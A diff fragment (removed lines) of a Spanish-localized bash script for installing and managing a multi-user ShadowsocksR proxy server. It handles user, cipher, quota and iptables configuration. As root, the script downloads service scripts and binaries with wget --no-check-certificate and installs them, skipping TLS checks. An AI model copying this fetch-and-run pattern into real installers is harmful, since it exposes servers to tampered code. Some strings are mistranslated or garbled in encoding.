-		echo -e "${Info} La contrasena del usuario se modifico correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Puede tardar unos 10 segundos aplicar la ultima configuracion)"
-	fi
-}
-Modify_config_method() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -m "${ssr_method}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} La modificacion del metodo de cifrado del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Modo de cifrado de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Note: Nota: la configuracion mas reciente puede demorar unos 10 segundos)"
-	fi
-}
-Modify_config_protocol() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -O "${ssr_protocol}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} Fallo la modificacion del protocolo de usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Acuerdo de usuario modificacion exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion m�s reciente puede demorar unos 10 segundos)"
-	fi
-}
-Modify_config_obfs() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -o "${ssr_obfs}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} La modificacion de la confusion del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Confusion del usuario exito de modificacion ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: La aplicacion de la ultima configuracion puede demorar unos 10 segundos)"
-	fi
-}
-Modify_config_protocol_param() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -G "${ssr_protocol_param}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} Fallo la modificacion del parametro del protocolo del usuario (numero de dispositivos limite) ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Parametros de negociaci�n del usuario (numero de dispositivos limite) modificados correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)"
-	fi
-}
-Modify_config_speed_limit_per_con() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -s "${ssr_speed_limit_per_con}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} Fallo la modificacion de la velocidad de un solo hilo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Modificacion de la velocidad de un solo hilo exitosa ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)"
-	fi
-}
-Modify_config_speed_limit_per_user() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -S "${ssr_speed_limit_per_user}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} Usuario Puerto la modificaci�n del limite de velocidad total fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Usuario Puerto limite de velocidad total modificado con exito ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)"
-	fi
-}
-Modify_config_connect_verbose_info() {
-	sed -i 's/"connect_verbose_info": '"$(echo ${connect_verbose_info})"',/"connect_verbose_info": '"$(echo ${ssr_connect_verbose_info})"',/g' ${config_user_file}
-}
-Modify_config_transfer() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -t "${ssr_transfer}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} La modificacion de trafico total del usuario fallo ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Trafico total del usuario ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: la configuracion mas reciente puede demorar unos 10 segundos)"
-	fi
-}
-Modify_config_forbid() {
-	match_edit=$(python mujson_mgr.py -e -p "${ssr_port}" -f "${ssr_forbid}" | grep -w "edit user ")
-	if [[ -z "${match_edit}" ]]; then
-		echo -e "${Error} La modificacion del puerto prohibido por el usuario ha fallado ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} " && exit 1
-	else
-		echo -e "${Info} Los puertos prohibidos por el usuario se modificaron correctamente ${Green_font_prefix}[Port: ${ssr_port}]${Font_color_suffix} (Nota: puede tomar aproximadamente 10 segundos aplicar la ultima configuracion)"
-	fi
-}
-Modify_config_enable() {
-	sed -i "${ssr_enable_num}"'s/"enable": '"$(echo ${enable})"',/"enable": '"$(echo ${ssr_enable})"',/' ${config_user_mudb_file}
-}
-Modify_user_api_server_pub_addr() {
-	sed -i "s/SERVER_PUB_ADDR = '${server_pub_addr}'/SERVER_PUB_ADDR = '${ssr_server_pub_addr}'/" ${config_user_api_file}
-}
-Modify_config_all() {
-	Modify_config_password
-	Modify_config_method
-	Modify_config_protocol
-	Modify_config_obfs
-	Modify_config_protocol_param
-	Modify_config_speed_limit_per_con
-	Modify_config_speed_limit_per_user
-	Modify_config_transfer
-	Modify_config_forbid
-}
-Check_python() {
-	python_ver=$(python -h)
-	if [[ -z ${python_ver} ]]; then
-		echo -e "${Info} No instalo Python, comience a instalar ..."
-		if [[ ${release} == "centos" ]]; then
-			yum install -y python
-		else
-			apt-get install -y python
-		fi
-	fi
-}
-Centos_yum() {
-	yum update
-	cat /etc/redhat-release | grep 7\..* | grep -i centos >/dev/null
-	if [[ $? = 0 ]]; then
-		yum install -y vim unzip crond net-tools git
-	else
-		yum install -y vim unzip crond git
-	fi
-}
-Debian_apt() {
-	apt-get update
-	apt-get install -y vim unzip cron git net-tools
-}
-#Descargar ShadowsocksR
-Download_SSR() {
-	cd "/usr/local"
-	# wget -N --no-check-certificate "https://github.com/ToyoDAdoubi/shadowsocksr/archive/manyuser.zip"
-	#git config --global http.sslVerify false
-	git clone -b akkariiin/master https://github.com/shadowsocksrr/shadowsocksr.git
-	[[ ! -e ${ssr_folder} ]] && echo -e "${Error} Fallo la descarga del servidor ShadowsocksR!" && exit 1
-	# [[ ! -e "manyuser.zip" ]] && echo -e "${Error} Fallo la descarga del paquete de compresion lateral ShadowsocksR !" && rm -rf manyuser.zip && exit 1
-	# unzip "manyuser.zip"
-	# [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} Fallo la descompresi�n del servidor ShadowsocksR !" && rm -rf manyuser.zip && exit 1
-	# mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/"
-	# [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} Fallo el cambio de nombre del servidor ShadowsocksR!" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1
-	# rm -rf manyuser.zip
-	cd "shadowsocksr"
-	cp "${ssr_folder}/config.json" "${config_user_file}"
-	cp "${ssr_folder}/mysql.json" "${ssr_folder}/usermysql.json"
-	cp "${ssr_folder}/apiconfig.py" "${config_user_api_file}"
-	[[ ! -e ${config_user_api_file} ]] && echo -e "${Error} Fallo la replicacion apiconfig.py del servidor ShadowsocksR!" && exit 1
-	sed -i "s/API_INTERFACE = 'sspanelv2'/API_INTERFACE = 'mudbjson'/" ${config_user_api_file}
-	server_pub_addr="127.0.0.1"
-	Modify_user_api_server_pub_addr
-	#sed -i "s/SERVER_PUB_ADDR = '127.0.0.1'/SERVER_PUB_ADDR = '${ip}'/" ${config_user_api_file}
-	sed -i 's/ \/\/ only works under multi-user mode//g' "${config_user_file}"
-	echo -e "${Info} Descarga del servidor ShadowsocksR completa!"
-}
-Service_SSR() {
-	if [[ ${release} = "centos" ]]; then
-		if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_centos -O /etc/init.d/ssrmu; then
-			echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicios de ShadowsocksR!" && exit 1
-		fi
-		chmod +x /etc/init.d/ssrmu
-		chkconfig --add ssrmu
-		chkconfig ssrmu on
-	else
-		if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssrmu_debian -O /etc/init.d/ssrmu; then
-			echo -e "${Error} Fallo la descarga de la secuencia de comandos de administracion de servicio de ShadowsocksR!" && exit 1
-		fi
-		chmod +x /etc/init.d/ssrmu
-		update-rc.d -f ssrmu defaults
-	fi
-	echo -e "${Info} ShadowsocksR Service Management Script Descargar Descargar!"
-}
-#Instalar el analizador JQ
-JQ_install() {
-	if [[ ! -e ${jq_file} ]]; then
-		cd "${ssr_folder}"
-		if [[ ${bit} = "x86_64" ]]; then
-			# mv "jq-linux64" "jq"
-			wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file}
-		else
-			# mv "jq-linux32" "jq"
-			wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux32" -O ${jq_file}
-		fi
-		[[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser, por favor!" && exit 1
-		chmod +x ${jq_file}
-		echo -e "${Info} La instalacion del analizador JQ se ha completado, continuar ..."
-	else
-		echo -e "${Info} JQ parser esta instalado, continuar ..."
-	fi
-}
-#Instalacion
-Installation_dependency() {
-	if [[ ${release} == "centos" ]]; then
-		Centos_yum
-	else
-		Debian_apt
-	fi
-	[[ ! -e "/usr/bin/unzip" ]] && echo -e "${Error} Dependiente de la instalacion de descomprimir (paquete comprimido) fallo, en su mayoria problema, por favor verifique!" && exit 1
-	Check_python
-	#echo "nameserver 8.8.8.8" > /etc/resolv.conf
-	#echo "nameserver 8.8.4.4" >> /etc/resolv.conf
-	cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
-	if [[ ${release} == "centos" ]]; then
-		/etc/init.d/crond restart
-	else
-		/etc/init.d/cron restart
-	fi
-}
-Install_SSR() {
-	clear
-	check_root
-	msg -bar
-	[[ -e ${ssr_folder} ]] && echo -e "${Error}\nLa carpeta ShadowsocksR ha sido creada, por favor verifique\n(si la instalacion falla, desinstalela primero) !\n$(msg -bar)" && exit 1
-	echo -e "${Info}\nComience la configuracion de la cuenta de ShadowsocksR..."
-	msg -bar
-	Set_user_api_server_pub_addr
-	Set_config_all
-	echo -e "${Info} Comience a instalar / configurar las dependencias de ShadowsocksR ..."
-	Installation_dependency
-	echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR File ..."
-	Download_SSR
-	echo -e "${Info} Iniciar descarga / Instalar ShadowsocksR Service Script(init)..."
-	Service_SSR
-	echo -e "${Info} Iniciar descarga / instalar JSNO Parser JQ ..."
-	JQ_install
-	echo -e "${Info} Comience a agregar usuario inicial ..."
-	Add_port_user "install"
-	echo -e "${Info} Empezar a configurar el firewall de iptables ..."
-	Set_iptables
-	echo -e "${Info} Comience a agregar reglas de firewall de iptables ..."
-	Add_iptables
-	echo -e "${Info} Comience a guardar las reglas del servidor de seguridad de iptables ..."
-	Save_iptables
-	echo -e "${Info} Todos los pasos para iniciar el servicio ShadowsocksR ..."
-	Start_SSR
-	Get_User_info "${ssr_port}"
-	View_User_info
-
-}
-Update_SSR() {
-	SSR_installation_status
-	# echo -e "Debido a que el beb� roto actualiza el servidor ShadowsocksR, entonces."
-	cd ${ssr_folder}
-	git pull
-	Restart_SSR
-
-}
-Uninstall_SSR() {
-	[[ ! -e ${ssr_folder} ]] && echo -e "${Error} ShadowsocksR no esta instalado, por favor, compruebe!\n$(msg -bar)" && exit 1
-	echo "Desinstalar ShadowsocksR [y/n]"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: n):" unyn
-	msg -bar
-	[[ -z ${unyn} ]] && unyn="n"
-	if [[ ${unyn} == [Yy] ]]; then
-		check_pid
-		[[ ! -z "${PID}" ]] && kill -9 ${PID}
-		user_info=$(python mujson_mgr.py -l)
-		user_total=$(echo "${user_info}" | wc -l)
-		if [[ ! -z ${user_info} ]]; then
-			for ((integer = 1; integer <= ${user_total}; integer++)); do
-				port=$(echo "${user_info}" | sed -n "${integer}p" | awk '{print $4}')
-				Del_iptables
-			done
-		fi
-		if [[ ${release} = "centos" ]]; then
-			chkconfig --del ssrmu
-		else
-			update-rc.d -f ssrmu remove
-		fi
-		rm -rf ${ssr_folder} && rm -rf /etc/init.d/ssrmu
-		echo && echo " Desinstalacion de ShadowsocksR completada!" && echo
-	else
-		echo && echo "Desinstalar cancelado ..." && echo
-	fi
-
-}
-Check_Libsodium_ver() {
-	echo -e "${Info} Descargando la ultima version de libsodium"
-	#Libsodiumr_ver=$(wget -qO- "https://github.com/jedisct1/libsodium/tags"|grep "/jedisct1/libsodium/releases/tag/"|head -1|sed -r 's/.*tag\/(.+)\">.*/\1/')
-	Libsodiumr_ver=1.0.17
-	[[ -z ${Libsodiumr_ver} ]] && Libsodiumr_ver=${Libsodiumr_ver_backup}
-	echo -e "${Info} La ultima version de libsodium es ${Green_font_prefix}${Libsodiumr_ver}${Font_color_suffix} !"
-}
-Install_Libsodium() {
-	if [[ -e ${Libsodiumr_file} ]]; then
-		echo -e "${Error} libsodium ya instalado, quieres actualizar?[y/N]"
-		stty erase '^H' && read -p "(Default: n):" yn
-		[[ -z ${yn} ]] && yn="n"
-		if [[ ${yn} == [Nn] ]]; then
-			echo -e "Cancelado...\n$(msg -bar)" && exit 1
-		fi
-	else
-		echo -e "${Info} libsodium no instalado, instalacion iniciada ..."
-	fi
-	Check_Libsodium_ver
-	if [[ ${release} == "centos" ]]; then
-		yum -y actualizacion
-		echo -e "${Info} La instalacion depende de ..."
-		yum -y groupinstall "Herramientas de desarrollo"
-		echo -e "${Info} Descargar ..."
-		wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz"
-		echo -e "${Info} Descomprimir ..."
-		tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver}
-		echo -e "${Info} Compilar e instalar ..."
-		./configure --disable-maintainer-mode && make -j2 && make install
-		echo /usr/local/lib >/etc/ld.so.conf.d/usr_local_lib.conf
-	else
-		apt-get update
-		echo -e "${Info} La instalacion depende de ..."
-		apt-get install -y build-essential
-		echo -e "${Info} Descargar ..."
-		wget --no-check-certificate -N "https://github.com/jedisct1/libsodium/releases/download/${Libsodiumr_ver}/libsodium-${Libsodiumr_ver}.tar.gz"
-		echo -e "${Info} Descomprimir ..."
-		tar -xzf libsodium-${Libsodiumr_ver}.tar.gz && cd libsodium-${Libsodiumr_ver}
-		echo -e "${Info} Compilar e instalar ..."
-		./configure --disable-maintainer-mode && make -j2 && make install
-	fi
-	ldconfig
-	cd .. && rm -rf libsodium-${Libsodiumr_ver}.tar.gz && rm -rf libsodium-${Libsodiumr_ver}
-	[[ ! -e ${Libsodiumr_file} ]] && echo -e "${Error} libsodium Instalacion fallida!" && exit 1
-	echo && echo -e "${Info} libsodium exito de instalacion!" && echo
-	msg -bar
-}
-#Mostrar informaci�n de conexi�n
-debian_View_user_connection_info() {
-	format_1=$1
-	user_info=$(python mujson_mgr.py -l)
-	user_total=$(echo "${user_info}" | wc -l)
-	[[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1
-	IP_total=$(netstat -anp | grep 'ESTABLISHED' | grep 'python' | grep 'tcp6' | awk '{print $5}' | awk -F ":" '{print $1}' | sort -u | wc -l)
-	user_list_all=""
-	for ((integer = 1; integer <= ${user_total}; integer++)); do
-		user_port=$(echo "${user_info}" | sed -n "${integer}p" | awk '{print $4}')
-		user_IP_1=$(netstat -anp | grep 'ESTABLISHED' | grep 'python' | grep 'tcp6' | grep ":${user_port} " | awk '{print $5}' | awk -F ":" '{print $1}' | sort -u)
-		if [[ -z ${user_IP_1} ]]; then
-			user_IP_total="0"
-		else
-			user_IP_total=$(echo -e "${user_IP_1}" | wc -l)
-			if [[ ${format_1} == "IP_address" ]]; then
-				get_IP_address
-			else
-				user_IP=$(echo -e "\n${user_IP_1}")
-			fi
-		fi
-		user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n"
-		user_IP=""
-	done
-	echo -e "Numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} Numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix}\n"
-	echo -e "${user_list_all}"
-	msg -bar
-}
-centos_View_user_connection_info() {
-	format_1=$1
-	user_info=$(python mujson_mgr.py -l)
-	user_total=$(echo "${user_info}" | wc -l)
-	[[ -z ${user_info} ]] && echo -e "${Error} No encontrado, por favor revise!" && exit 1
-	IP_total=$(netstat -anp | grep 'ESTABLISHED' | grep 'python' | grep 'tcp' | grep '::ffff:' | awk '{print $5}' | awk -F ":" '{print $4}' | sort -u | wc -l)
-	user_list_all=""
-	for ((integer = 1; integer <= ${user_total}; integer++)); do
-		user_port=$(echo "${user_info}" | sed -n "${integer}p" | awk '{print $4}')
-		user_IP_1=$(netstat -anp | grep 'ESTABLISHED' | grep 'python' | grep 'tcp' | grep ":${user_port} " | grep '::ffff:' | awk '{print $5}' | awk -F ":" '{print $4}' | sort -u)
-		if [[ -z ${user_IP_1} ]]; then
-			user_IP_total="0"
-		else
-			user_IP_total=$(echo -e "${user_IP_1}" | wc -l)
-			if [[ ${format_1} == "IP_address" ]]; then
-				get_IP_address
-			else
-				user_IP=$(echo -e "\n${user_IP_1}")
-			fi
-		fi
-		user_list_all=${user_list_all}"Puerto: ${Green_font_prefix}"${user_port}"${Font_color_suffix}, El numero total de IPs vinculadas: ${Green_font_prefix}"${user_IP_total}"${Font_color_suffix}, Current linked IP: ${Green_font_prefix}${user_IP}${Font_color_suffix}\n"
-		user_IP=""
-	done
-	echo -e "El numero total de usuarios: ${Green_background_prefix} "${user_total}" ${Font_color_suffix} El numero total de IPs vinculadas: ${Green_background_prefix} "${IP_total}" ${Font_color_suffix} "
-	echo -e "${user_list_all}"
-}
-View_user_connection_info() {
-	clear
-	SSR_installation_status
-	msg -bar
-	echo -e "Seleccione el formato para mostrar :
- $(msg -bar)
-  ${Green_font_prefix}1.${Font_color_suffix} Mostrar IP 
- 
-  ${Green_font_prefix}2.${Font_color_suffix} Mostrar IP + Resolver el nombre DNS"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: 1):" ssr_connection_info
-	msg -bar
-	[[ -z "${ssr_connection_info}" ]] && ssr_connection_info="1"
-	if [[ ${ssr_connection_info} == "1" ]]; then
-		View_user_connection_info_1 ""
-	elif [[ ${ssr_connection_info} == "2" ]]; then
-		echo -e "${Tip} Detectar IP (ipip.net)puede llevar mas tiempo si hay muchas IPs"
-		msg -bar
-		View_user_connection_info_1 "IP_address"
-	else
-		echo -e "${Error} Ingrese el numero correcto(1-2)" && exit 1
-	fi
-}
-View_user_connection_info_1() {
-	format=$1
-	if [[ ${release} = "centos" ]]; then
-		cat /etc/redhat-release | grep 7\..* | grep -i centos >/dev/null
-		if [[ $? = 0 ]]; then
-			debian_View_user_connection_info "$format"
-		else
-			centos_View_user_connection_info "$format"
-		fi
-	else
-		debian_View_user_connection_info "$format"
-	fi
-}
-get_IP_address() {
-	#echo "user_IP_1=${user_IP_1}"
-	if [[ ! -z ${user_IP_1} ]]; then
-		#echo "user_IP_total=${user_IP_total}"
-		for ((integer_1 = ${user_IP_total}; integer_1 >= 1; integer_1--)); do
-			IP=$(echo "${user_IP_1}" | sed -n "$integer_1"p)
-			#echo "IP=${IP}"
-			IP_address=$(wget -qO- -t1 -T2 http://freeapi.ipip.net/${IP} | sed 's/\"//g;s/,//g;s/\[//g;s/\]//g')
-			#echo "IP_address=${IP_address}"
-			user_IP="${user_IP}\n${IP}(${IP_address})"
-			#echo "user_IP=${user_IP}"
-			sleep 1s
-		done
-	fi
-}
-#Modificar la configuraci�n del usuario
-Modify_port() {
-	msg -bar
-	List_port_user
-	while true; do
-		echo -e "Por favor ingrese el usuario (Puerto) que tiene que ser modificado"
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_port
-		[[ -z "${ssr_port}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1
-		Modify_user=$(cat "${config_user_mudb_file}" | grep '"port": '"${ssr_port}"',')
-		if [[ ! -z ${Modify_user} ]]; then
-			break
-		else
-			echo -e "${Error} Puerto Introduzca el Puerto correcto!"
-		fi
-	done
-}
-Modify_Config() {
-	clear
-	SSR_installation_status
-	echo && echo -e "    ###¿Que desea realizar?###Mod By @Kalix1
- $(msg -bar)
-  ${Green_font_prefix}1.${Font_color_suffix}  Agregar y Configurar Usuario
-  ${Green_font_prefix}2.${Font_color_suffix}  Eliminar la Configuracion del Usuario
- ————————— Modificar la Configuracion del Usuario ————
-  ${Green_font_prefix}3.${Font_color_suffix}  Modificar contrasena de Usuario
-  ${Green_font_prefix}4.${Font_color_suffix}  Modificar el metodo de Cifrado
-  ${Green_font_prefix}5.${Font_color_suffix}  Modificar el Protocolo
-  ${Green_font_prefix}6.${Font_color_suffix}  Modificar Ofuscacion
-  ${Green_font_prefix}7.${Font_color_suffix}  Modificar el Limite de Dispositivos
-  ${Green_font_prefix}8.${Font_color_suffix}  Modificar el Limite de Velocidad de un solo Hilo
-  ${Green_font_prefix}9.${Font_color_suffix}  Modificar limite de Velocidad Total del Usuario
-  ${Green_font_prefix}10.${Font_color_suffix} Modificar el Trafico Total del Usuario
-  ${Green_font_prefix}11.${Font_color_suffix} Modificar los Puertos Prohibidos Del usuario
-  ${Green_font_prefix}12.${Font_color_suffix} Modificar la Configuracion Completa
- ————————— Otras Configuraciones —————————
-  ${Green_font_prefix}13.${Font_color_suffix} Modificar la IP o el nombre de dominio que\n se muestra en el perfil del usuario
- $(msg -bar)
-  ${Tip} El nombre de usuario y el puerto del usuario\n no se pueden modificar. Si necesita modificarlos, use\n el script para modificar manualmente la funcion !"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: cancelar):" ssr_modify
-	[[ -z "${ssr_modify}" ]] && echo -e "Cancelado ...\n$(msg -bar)" && exit 1
-	if [[ ${ssr_modify} == "1" ]]; then
-		Add_port_user
-	elif [[ ${ssr_modify} == "2" ]]; then
-		Del_port_user
-	elif [[ ${ssr_modify} == "3" ]]; then
-		Modify_port
-		Set_config_password
-		Modify_config_password
-	elif [[ ${ssr_modify} == "4" ]]; then
-		Modify_port
-		Set_config_method
-		Modify_config_method
-	elif [[ ${ssr_modify} == "5" ]]; then
-		Modify_port
-		Set_config_protocol
-		Modify_config_protocol
-	elif [[ ${ssr_modify} == "6" ]]; then
-		Modify_port
-		Set_config_obfs
-		Modify_config_obfs
-	elif [[ ${ssr_modify} == "7" ]]; then
-		Modify_port
-		Set_config_protocol_param
-		Modify_config_protocol_param
-	elif [[ ${ssr_modify} == "8" ]]; then
-		Modify_port
-		Set_config_speed_limit_per_con
-		Modify_config_speed_limit_per_con
-	elif [[ ${ssr_modify} == "9" ]]; then
-		Modify_port
-		Set_config_speed_limit_per_user
-		Modify_config_speed_limit_per_user
-	elif [[ ${ssr_modify} == "10" ]]; then
-		Modify_port
-		Set_config_transfer
-		Modify_config_transfer
-	elif [[ ${ssr_modify} == "11" ]]; then
-		Modify_port
-		Set_config_forbid
-		Modify_config_forbid
-	elif [[ ${ssr_modify} == "12" ]]; then
-		Modify_port
-		Set_config_all "Modify"
-		Modify_config_all
-	elif [[ ${ssr_modify} == "13" ]]; then
-		Set_user_api_server_pub_addr "Modify"
-		Modify_user_api_server_pub_addr
-	else
-		echo -e "${Error} Ingrese el numero correcto(1-13)" && exit 1
-	fi
-
-}
-List_port_user() {
-	user_info=$(python mujson_mgr.py -l)
-	user_total=$(echo "${user_info}" | wc -l)
-	[[ -z ${user_info} ]] && echo -e "${Error} No encontre al usuario, por favor verifica otra vez!" && exit 1
-	user_list_all=""
-	for ((integer = 1; integer <= ${user_total}; integer++)); do
-		user_port=$(echo "${user_info}" | sed -n "${integer}p" | awk '{print $4}')
-		user_username=$(echo "${user_info}" | sed -n "${integer}p" | awk '{print $2}' | sed 's/\[//g;s/\]//g')
-		Get_User_transfer "${user_port}"
-
-		user_list_all=${user_list_all}"Nombre de usuario: ${Green_font_prefix} "${user_username}"${Font_color_suffix}\nPort: ${Green_font_prefix}"${user_port}"${Font_color_suffix}\nUso del trafico (Usado + Restante = Total):\n ${Green_font_prefix}${transfer_enable_Used_2}${Font_color_suffix} + ${Green_font_prefix}${transfer_enable_Used}${Font_color_suffix} = ${Green_font_prefix}${transfer_enable}${Font_color_suffix}\n--------------------------------------------\n "
-	done
-	echo && echo -e "===== El numero total de usuarios ===== ${Green_background_prefix} "${user_total}" ${Font_color_suffix}\n--------------------------------------------"
-	echo -e ${user_list_all}
-}
-Add_port_user() {
-	clear
-	lalal=$1
-	if [[ "$lalal" == "install" ]]; then
-		match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}" | grep -w "add user info")
-	else
-		while true; do
-			Set_config_all
-			match_port=$(python mujson_mgr.py -l | grep -w "port ${ssr_port}$")
-			[[ ! -z "${match_port}" ]] && echo -e "${Error} El puerto [${ssr_port}] Ya existe, no lo agregue de nuevo !" && exit 1
-			match_username=$(python mujson_mgr.py -l | grep -w "Usuario \[${ssr_user}]")
-			[[ ! -z "${match_username}" ]] && echo -e "${Error} Nombre de usuario [${ssr_user}] Ya existe, no lo agregues de nuevo !" && exit 1
-			match_add=$(python mujson_mgr.py -a -u "${ssr_user}" -p "${ssr_port}" -k "${ssr_password}" -m "${ssr_method}" -O "${ssr_protocol}" -G "${ssr_protocol_param}" -o "${ssr_obfs}" -s "${ssr_speed_limit_per_con}" -S "${ssr_speed_limit_per_user}" -t "${ssr_transfer}" -f "${ssr_forbid}" | grep -w "add user info")
-			if [[ -z "${match_add}" ]]; then
-				echo -e "${Error} Usuario no se pudo agregar ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , port: ${ssr_port}]${Font_color_suffix} "
-				break
-			else
-				Add_iptables
-				Save_iptables
-				msg -bar
-				echo -e "${Info} Usuario agregado exitosamente\n ${Green_font_prefix}[Nombre de usuario: ${ssr_user} , Puerto: ${ssr_port}]${Font_color_suffix} "
-				echo
-				stty erase '^H' && read -p "Continuar para agregar otro Usuario?[y/n]:" addyn
-				[[ -z ${addyn} ]] && addyn="y"
-				if [[ ${addyn} == [Nn] ]]; then
-					Get_User_info "${ssr_port}"
-					View_User_info
-					break
-				else
-					echo -e "${Info} Continuar agregando configuracion de usuario ..."
-				fi
-			fi
-		done
-	fi
-}
-Del_port_user() {
-
-	List_port_user
-	while true; do
-		msg -bar
-		echo -e "Por favor ingrese el puerto de usuario para ser eliminado"
-		stty erase '^H' && read -p "(Predeterminado: Cancelar):" del_user_port
-		msg -bar
-		[[ -z "${del_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
-		del_user=$(cat "${config_user_mudb_file}" | grep '"port": '"${del_user_port}"',')
-		if [[ ! -z ${del_user} ]]; then
-			port=${del_user_port}
-			match_del=$(python mujson_mgr.py -d -p "${del_user_port}" | grep -w "delete user ")
-			if [[ -z "${match_del}" ]]; then
-				echo -e "${Error} La eliminación del usuario falló ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} "
-			else
-				Del_iptables
-				Save_iptables
-				echo -e "${Info} Usuario eliminado exitosamente ${Green_font_prefix}[Puerto: ${del_user_port}]${Font_color_suffix} "
-			fi
-			break
-		else
-			echo -e "${Error} Por favor ingrese el puerto correcto !"
-		fi
-	done
-	msg -bar
-}
-Manually_Modify_Config() {
-	clear
-	msg -bar
-	SSR_installation_status
-	nano ${config_user_mudb_file}
-	echo "Si reiniciar ShadowsocksR ahora?[Y/n]" && echo
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: y):" yn
-	[[ -z ${yn} ]] && yn="y"
-	if [[ ${yn} == [Yy] ]]; then
-		Restart_SSR
-	fi
-
-}
-Clear_transfer() {
-	clear
-	msg -bar
-	SSR_installation_status
-	echo -e "Que quieres realizar?
- $(msg -bar)
-  ${Green_font_prefix}1.${Font_color_suffix}  Borrar el trafico de un solo usuario
-  ${Green_font_prefix}2.${Font_color_suffix}  Borrar todo el trafico de usuarios (irreparable)
-  ${Green_font_prefix}3.${Font_color_suffix}  Todo el trafico de usuarios se borra en el inicio
-  ${Green_font_prefix}4.${Font_color_suffix}  Deja de cronometrar todo el trafico de usuarios
-  ${Green_font_prefix}5.${Font_color_suffix}  Modificar la sincronizacion de todo el trafico de usuarios"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado:Cancelar):" ssr_modify
-	[[ -z "${ssr_modify}" ]] && echo "Cancelado ..." && exit 1
-	if [[ ${ssr_modify} == "1" ]]; then
-		Clear_transfer_one
-	elif [[ ${ssr_modify} == "2" ]]; then
-		msg -bar
-		echo "Esta seguro de que desea borrar todo el trafico de usuario[y/n]" && echo
-		msg -bar
